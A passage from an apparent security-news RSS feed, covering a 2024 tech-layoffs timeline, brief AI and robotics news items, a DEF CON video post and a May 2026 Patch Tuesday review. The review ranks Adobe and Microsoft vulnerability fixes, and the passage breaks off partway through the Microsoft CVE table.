<p class="wp-block-paragraph">Mark Zuckerberg told Meta employees he intended to “move out the low performers faster” in an internal memo reported by Bloomberg. The memo announced that the company will lay off 5% of its staff, or around 3,600 staff, beginning Feb. 10. The company had already reduced its headcount by 5% in 2024 through natural attrition, the memo said. Among those leaving the company will be staff previously responsible for fact checking of posts on its social media platforms in the US, as the company begins relying on its users to police content.</p>



<h2 class="wp-block-heading">Tech layoffs in 2024</h2>



<ul class="wp-block-list">
<li>Equinix</li>



<li>AMD</li>



<li>Freshworks</li>



<li>Cisco</li>



<li>General Motors</li>



<li>Intel</li>



<li>OpenText</li>



<li>Microsoft</li>



<li>AWS</li>



<li>Dell</li>
</ul>



<h3 class="wp-block-heading">Nov. 26, 2024: <a href="https://www.networkworld.com/article/3613399/equinix-to-cut-3-of-staff-amidst-the-greatest-demand-for-data-center-infrastructure-ever.html">Equinix to cut 3% of staff</a></h3>



<p class="wp-block-paragraph">Despite intense demand for its data center capacity, Equinix is planning to lay off 3% of its workforce, or around 400 employees. The announcement followed the appointment of Adaire Fox-Martin to replace Charles Meyers as CEO and the departures of two other senior executives, CIO Milind Wagle and CISO Michael Montoya.</p>



<h3 class="wp-block-heading">Nov. 13, 2024: <a href="https://www.networkworld.com/article/3605016/amd-to-cut-4-of-workforce-to-prioritize-ai-chip-expansion-to-rival-nvidia.html#:~:text=Workforce%20reduction%20comes%20amid%20strong,shift%20in%20focus%20toward%20AI.&amp;text=Advanced%20Micro%20Devices%20(AMD)%20is,Nvidia's%20lead%20in%20the%20sector.">AMD to cut 4% of workforce</a></h3>



<p class="wp-block-paragraph">AMD will lay off around 1,000 employees as it pivots towards developing AI-focused chips, it said. The move came as a surprise to staff, as the company also reported strong quarterly earnings. </p>



<h3 class="wp-block-heading">Nov. 7, 2024: <a href="https://www.cio.com/article/3601088/freshworks-lays-off-660-about-13-percent-of-its-global-workforce-despite-strong-earnings-profits.html">Freshworks lays off 660</a></h3>



<p class="wp-block-paragraph">Enterprise software vendor Freshworks laid off around 660 staff, or around 13% of its headcount, despite reporting increased revenue and profits in its fourth fiscal quarter. The company described the layoffs as a realignment of its global workforce.</p>



<h3 class="wp-block-heading">Sept. 17, 2024: <a href="https://www.networkworld.com/article/3486901/cisco-to-cut-7-of-workforce-restructure-product-groups.html">Cisco lays off 6,000</a></h3>



<p class="wp-block-paragraph">After laying off around 4,200 staff in February, Cisco is at it again, laying off another 6,000 or around 7% of its workforce. Among the divisions affected were its threat intelligence unit, Talos Security. </p>



<h3 class="wp-block-heading">Aug. 20, 2024: <a href="https://www.cio.com/article/3489323/gm-software-layoffs-could-signal-a-shift-in-digital-transformation-strategy.html">General Motors lays off 1,000 software staff</a></h3>



<p class="wp-block-paragraph">More than 1,000 software and services staff are on the way out at General Motors, signalling that it could be rethinking its digital transformation strategy. In an internal memo, the company said that it was moving resources to its highest-priority work and flattening hierarchies.</p>



<h3 class="wp-block-heading">August 1, 2024: <a href="https://www.computerworld.com/article/3480715/intel-fires-15000-employees-as-it-intensifies-focus-on-ai.html">Intel removes 15,000 roles</a></h3>



<p class="wp-block-paragraph">Intel plans to cut its workforce by around 15% to reduce costs after a disastrous second quarter. Revenue for the three months to June 29 stagnated at around $12.8 billion, but net income fell 85% to $83 million, prompting CEO Pat Gelsinger to bring forward a company-wide meeting in order to announce that 15,000 staff would lose their jobs. “This is an incredibly hard day for Intel as we are making some of the most consequential changes in our company’s history,” Gelsinger wrote in an email to staff, continuing: “Our revenues have not grown as expected — and we’ve yet to fully benefit from powerful trends, like AI. Our costs are too high, our margins are too low. We need bolder actions to address both — particularly given our financial results and outlook for the second half of 2024, which is tougher than previously expected.”</p>



<h3 class="wp-block-heading">July 4, 2024: <a href="https://www.computerworld.es/article/2513686/opentext-despedira-a-cerca-de-1-200-empleados.html">OpenText to lay off 1,200</a></h3>



<p class="wp-block-paragraph">OpenText said it will lay off 1,200 staff, or about 1.7% of its workforce, in a bid to save around $100 million annually. It plans to hire new sales and engineering staff in other areas in 2025, it said.</p>



<h3 class="wp-block-heading">June 4, 2024: <a href="https://www.networkworld.com/article/2138075/microsoft-lays-off-staffers-from-its-azure-division.html">Microsoft lays off staff in Azure division</a></h3>



<p class="wp-block-paragraph">Microsoft laid off staff in several teams supporting its cloud services, including Azure for Operations and Mission Engineering. The company didn’t say exactly how many staff were leaving.</p>



<h3 class="wp-block-heading">April 4, 2024: <a href="https://www.cio.com/article/2081437/amazon-downsizes-aws-in-a-fresh-cost-cutting-round.html">Amazon downsizes AWS</a> in a fresh cost-cutting round</h3>



<p class="wp-block-paragraph">Amazon announced hundreds of layoffs in the sales and marketing teams of its AWS cloud services division — and also in the technology development teams for its physical retail stores, as it stepped back from efforts to generalize the “<a href="https://www.cio.com/article/2079910/amazon-drops-just-walk-out-technology-at-its-us-retail-locations.html">Just Walk Out</a>” technology built for its Amazon Fresh grocery stores. </p>



<h3 class="wp-block-heading">April 1, 2024: <a href="https://investors.delltechnologies.com/static-files/d6e82f58-d417-422f-b2f3-4d08d498abd4" target="_blank" rel="noreferrer noopener">Dell acknowledges 13,000 job cuts</a></h3>



<p class="wp-block-paragraph">Dell Technologies’ <a href="https://investors.delltechnologies.com/static-files/d6e82f58-d417-422f-b2f3-4d08d498abd4" target="_blank" rel="noreferrer noopener">latest 10K filing with the US Securities and Exchange Commission</a> disclosed that the company had laid off 13,000 employees over the course of the 2023 fiscal year; it characterized the layoffs and other reorganizational moves as cost-cutting measures. “These actions resulted in a reduction in our overall headcount,” the company said. A comparison to the previous year’s 10K filing, performed by The Register, found that Dell employed 133,000 people at that point, compared to 120,000 as of February 2024. Dell announced layoffs of 6,650 staffers on Feb. 6, but it is unclear whether those cuts were reflected in the numbers from this year’s 10K statement.</p>



<p class="wp-block-paragraph"><em><a href="https://www.computerworld.com/article/3816662/tech-layoffs-in-2024-a-timeline.html">See news of earlier layoffs.</a></em></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The AI jobs apocalypse probably isn’t coming anytime soon]]></title>
<description><![CDATA[Artificial intelligence  may not deliver on its promise of vast economic opportunity at a price that humanity is willing to payIn March, Anthropic, the cutting-edge artificial intelligence business that gave us the chatbot Claude, published an analysis on the impact of AI on employment, to help u...]]></description>
<link>https://tsecurity.de/de/3694759/ai-nachrichten/the-ai-jobs-apocalypse-probably-isnt-coming-anytime-soon/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694759/ai-nachrichten/the-ai-jobs-apocalypse-probably-isnt-coming-anytime-soon/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:00 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Artificial intelligence  may not deliver on its promise of vast economic opportunity at a price that humanity is willing to pay</p><p>In March, Anthropic, the cutting-edge artificial intelligence business that gave us the chatbot Claude, <a href="https://www.anthropic.com/research/labor-market-impacts">published an analysis</a> on the impact of AI on employment, to help us assess the claim that intelligent robots were about to redefine human existence, ending demand for human labor.</p><p>Last year in May, Anthropic’s co-founder, Dario Amodei, claimed AI could wipe out half of all entry-level jobs in one to five years. Last January, <a href="https://darioamodei.com/essay/the-adolescence-of-technology#4-player-piano">he told us</a> AI would probably become a “general labor substitute for humans”. In June <a href="https://darioamodei.com/post/policy-on-the-ai-exponential">he said</a> we risk “a world where the economic trade-off dial is stuck on the hypergrowth, hyper-inequality setting”.</p> <a href="https://www.theguardian.com/technology/2026/jul/25/ai-jobs-apocalypse-human-labor">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Sally the Robot Was Coming to a New York School. Then the Plug Was Pulled.]]></title>
<description><![CDATA[Students helped design the A.I.-powered creation as a young female with dark hair and an upbeat personality. Then came the outrage.]]></description>
<link>https://tsecurity.de/de/3694742/ai-nachrichten/sally-the-robot-was-coming-to-a-new-york-school-then-the-plug-was-pulled/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694742/ai-nachrichten/sally-the-robot-was-coming-to-a-new-york-school-then-the-plug-was-pulled/</guid>
<pubDate>Sat, 25 Jul 2026 19:49:51 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Students helped design the A.I.-powered creation as a young female with dark hair and an upbeat personality. Then came the outrage.]]></content:encoded>
</item>
<item>
<title><![CDATA[Mitsubishi Reveals New AI Humanoid Robot "N" Coming 2027]]></title>
<description><![CDATA[YouTube Video]]></description>
<link>https://tsecurity.de/de/3694709/ai-nachrichten/mitsubishi-reveals-new-ai-humanoid-robot-n-coming-2027/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694709/ai-nachrichten/mitsubishi-reveals-new-ai-humanoid-robot-n-coming-2027/</guid>
<pubDate>Sat, 25 Jul 2026 19:49:26 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>YouTube Video</p><p><iframe loading="lazy" src="https://www.youtube.com/embed/3GYOFWmnBCs"></iframe></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Early Video from DEF CON 32: Cory Doctorow!]]></title>
<description><![CDATA[Please enjoy Cory Doctorow's fantastic presentation on taking back the internet from last month at DEF CON 32. Cory's takes are always thoughtful, provocative and it was his deshittification concept that helped inspire the DC32 theme. More videos from DEF CON coming soon.]]></description>
<link>https://tsecurity.de/de/3694572/hacking/early-video-from-def-con-32-cory-doctorow/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694572/hacking/early-video-from-def-con-32-cory-doctorow/</guid>
<pubDate>Sat, 25 Jul 2026 19:03:11 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img src="https://defcon.org/images/defcon-32/post-images/doctorow.webp" alt="Cory Doctorow speaking at DEF CON 32 image">
<br>        
    <p>Please enjoy <a href="https://www.youtube.com/watch?v=4EmstuO0Em8">Cory Doctorow's fantastic presentation</a> on taking back the internet from last month at DEF CON 32. Cory's takes are always thoughtful, provocative and it was his deshittification concept that helped inspire the DC32 theme. More videos from DEF CON coming soon.<br></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The May 2026 Security Update Review]]></title>
<description><![CDATA[I’m currently in Berlin helping set up for Pwn2Own Berlin, but that doesn’t stop Patch Tuesday from coming, and it’s another big one. At least nothing is listed as being in the wild – for now. Take a break from your regularly scheduled activities and let’s take a look at the latest security patch...]]></description>
<link>https://tsecurity.de/de/3694568/hacking/the-may-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694568/hacking/the-may-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:56 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I’m currently in Berlin helping set up for Pwn2Own Berlin, but that doesn’t stop Patch Tuesday from coming, and it’s another big one. At least nothing is listed as being in the wild – for now. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. Due to technical difficulties, there will not be a video companion for this month.</p><p class=""><strong>Adobe Patches for May 2026</strong></p><p class="">For May, Adobe released 10 bulletins addressing 52 unique CVEs in Adobe Commerce, After Effects, Adobe Connect, Illustrator, Media Encoder, Premiere Pro, Substance 3D Painter, Substance 3D Sampler, Content Authenticity SDK, and the Adobe Substance 3D Designer. Here’s this month’s overview table:</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/magento/apsb26-49.html" target="_blank">APSB26-49</a></td>
    <td>Adobe Commerce</td>
    <td>15</td>
    <td>Critical</td>
    <td>8.7</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/after_effects/apsb26-48.html" target="_blank">APSB26-48</a></td>
    <td>Adobe After Effects</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/connect/apsb26-50.html" target="_blank">APSB26-50</a></td>
    <td>Adobe Connect</td>
    <td>2</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/illustrator/apsb26-51.html" target="_blank">APSB26-51</a></td>
    <td>Adobe Illustrator</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/media-encoder/apsb26-47.html" target="_blank">APSB26-47</a></td>
    <td>Adobe Media Encoder</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/premiere_pro/apsb26-46.html" target="_blank">APSB26-46</a></td>
    <td>Adobe Premiere Pro</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d_painter/apsb26-55.html" target="_blank">APSB26-55</a></td>
    <td>Adobe Substance 3D Painter</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d-sampler/apsb26-54.html" target="_blank">APSB26-54</a></td>
    <td>Adobe Substance 3D Sampler</td>
    <td>1</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-53.html" target="_blank">APSB26-53</a></td>
    <td>Content Authenticity SDK</td>
    <td>14</td>
    <td>Critical</td>
    <td>7.5</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d_designer/apsb26-52.html" target="_blank">APSB26-52</a></td>
    <td>Adobe Substance 3D Designer</td>
    <td>5</td>
    <td>Important</td>
    <td>6.3</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>10 bulletins</td>
    <td>52</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  
  









  <p class="">The obvious priority this month is the patch for Commerce, with its 15 bugs and deployment priority of 2. The Connect fix should also rank up there since both of its CVEs are CVSS 9s. Beyond those, it’s a pretty typical month for Adobe, with most of the bugs either being cross-site scripting (XSS) or open-and-own code executions.</p><p class=""><strong>Microsoft Patches for May 2026</strong></p><p class="">This month, Microsoft released a whopping 138 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Copilot Chat, Github Copilot, M365 Copilot, SQL Server, TCP/IP, and the Telnet Client – yes, the Telnet client. Two of these bugs were reported through the TrendAI ZDI program. 30 of these bugs are rated Critical, three are rated as Moderate, one is rated Low, and the rest are rated Important in severity.</p><p class="">This large volume of fixes follows the largest monthly release in Microsoft’s history and reflects the trend across the industry of a high number of submissions. While not all of these bugs were found by AI, it’s likely they had an AI-related component – even if it was just AI writing the submission. I should also point out the Pwn2Own Berlin occurs in just a few days, and it’s typical for vendors to patch as much as they can before the event.</p><p class="">None of the bugs patched by Microsoft this month are listed as publicly known or under active attack at the time of release, so we’ve got that going for us. Let’s take a closer look at some of the more interesting updates for this month, starting with a nasty-looking bug in DNS:</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41096"><strong>CVE-2026-41096</strong></a><strong> - Windows DNS Client Remote Code Execution Vulnerability<br></strong>This patch fixes a heap-based buffer overflow in the DNS Client triggered by a malicious DNS response. No authentication or user interaction needed, and since the DNS Client runs on virtually every Windows machine, the attack surface is enormous. An attacker with a position to influence DNS responses (MitM, rogue server) could achieve unauthenticated RCE across your enterprise.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41089"><strong>CVE-2026-41089</strong></a><strong> - Windows Netlogon Remote Code Execution Vulnerability<br></strong>This update covers another CVSS 9.8 bug, which is a stack-based buffer overflow that lets an unauthenticated remote attacker execute code on a domain controller by sending a specially crafted network request — no credentials, no user interaction required. Yup – that makes it wormable. This is the highest-impact bug that requires immediate patching: a compromised domain controller is a compromised domain.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42898"><strong>CVE-2026-42898</strong></a><strong> - Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability<br></strong>This bug rates a CVSS 9.9(!) and represents a code injection in Dynamics 365. It allows any authenticated user to execute code with a scope change, meaning exploitation can break out and affect resources beyond the vulnerable component itself. Scope changes are pretty rare, so if you’re running Dynamics 365 On-Prem, definitely test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40415"><strong>CVE-2026-40415</strong></a><strong> - Windows TCP/IP Remote Code Execution Vulnerability<br></strong>This bug in the TCP/IP stack results from a use-after-free (UAF) and could allow a remote, unauthenticated threat actor to execute code without user interaction. That makes this another wormable bug. However, this one is much less likely to be exploited. The target needs to be under sustained low-memory (memory pressure) conditions, which is pretty rare. Still, no need to tempt fate here. Test and deploy this one quickly.</p><p class="">Here’s the full list of CVEs released by Microsoft for May 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026-May-cvrf.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="920">
 <col width="144">
 <col width="256">
 <col width="104" span="5">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35435"><span>CVE-2026-35435</span></a></td>
  <td width="256" class="xl73">Azure AI Foundry
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35428"><span>CVE-2026-35428</span></a></td>
  <td width="256" class="xl73">Azure Cloud Shell
  Spoofing Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42826"><span>CVE-2026-42826</span></a></td>
  <td width="256" class="xl73">Azure DevOps
  Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">10</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32207"><span>CVE-2026-32207</span></a></td>
  <td width="256" class="xl73">Azure Machine Learning
  Notebook Spoofing Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33109"><span>CVE-2026-33109</span></a></td>
  <td width="256" class="xl73">Azure Managed Instance
  for Apache Cassandra Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33844"><span>CVE-2026-33844</span></a></td>
  <td width="256" class="xl73">Azure Managed Instance
  for Apache Cassandra Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41105"><span>CVE-2026-41105</span></a></td>
  <td width="256" class="xl73">Azure Monitor Action
  Group Notification System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33111"><span>CVE-2026-33111</span></a></td>
  <td width="256" class="xl73">Copilot Chat
  (Microsoft Edge) Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26129"><span>CVE-2026-26129</span></a></td>
  <td width="256" class="xl73">M365 Copilot
  Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26164"><span>CVE-2026-26164</span></a></td>
  <td width="256" class="xl73">M365 Copilot
  Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33821"><span>CVE-2026-33821</span></a></td>
  <td width="256" class="xl73">Microsoft Dynamics 365
  Customer Insights Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42898"><span>CVE-2026-42898</span></a></td>
  <td width="256" class="xl73">Microsoft Dynamics 365
  On-Premises Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40379"><span>CVE-2026-40379</span></a></td>
  <td width="256" class="xl73">Microsoft Enterprise
  Security Token Service (ESTS) Spoofing Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40363"><span>CVE-2026-40363</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40358"><span>CVE-2026-40358</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34327"><span>CVE-2026-34327</span></a></td>
  <td width="256" class="xl73">Microsoft Partner
  Center Spoofing Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40365"><span>CVE-2026-40365</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41103"><span>CVE-2026-41103</span></a></td>
  <td width="256" class="xl73">Microsoft SSO Plugin
  for Jira &amp; Confluence Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33823"><span>CVE-2026-33823</span></a></td>
  <td width="256" class="xl73">Microsoft Team Events
  Portal Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40364"><span>CVE-2026-40364</span></a></td>
  <td width="256" class="xl73">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40366"><span>CVE-2026-40366</span></a></td>
  <td width="256" class="xl73">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40361"><span>CVE-2026-40361</span></a></td>
  <td width="256" class="xl73">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40367"><span>CVE-2026-40367</span></a></td>
  <td width="256" class="xl73">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42831"><span>CVE-2026-42831</span></a></td>
  <td width="256" class="xl73">Office for Android
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41096"><span>CVE-2026-41096</span></a></td>
  <td width="256" class="xl73">Windows DNS Client
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35421"><span>CVE-2026-35421</span></a></td>
  <td width="256" class="xl73">Windows GDI Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="71">
  <td class="xl67" height="71"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40403"><span>CVE-2026-40403</span></a></td>
  <td width="256" class="xl73">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40402"><span>CVE-2026-40402</span></a></td>
  <td width="256" class="xl73">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
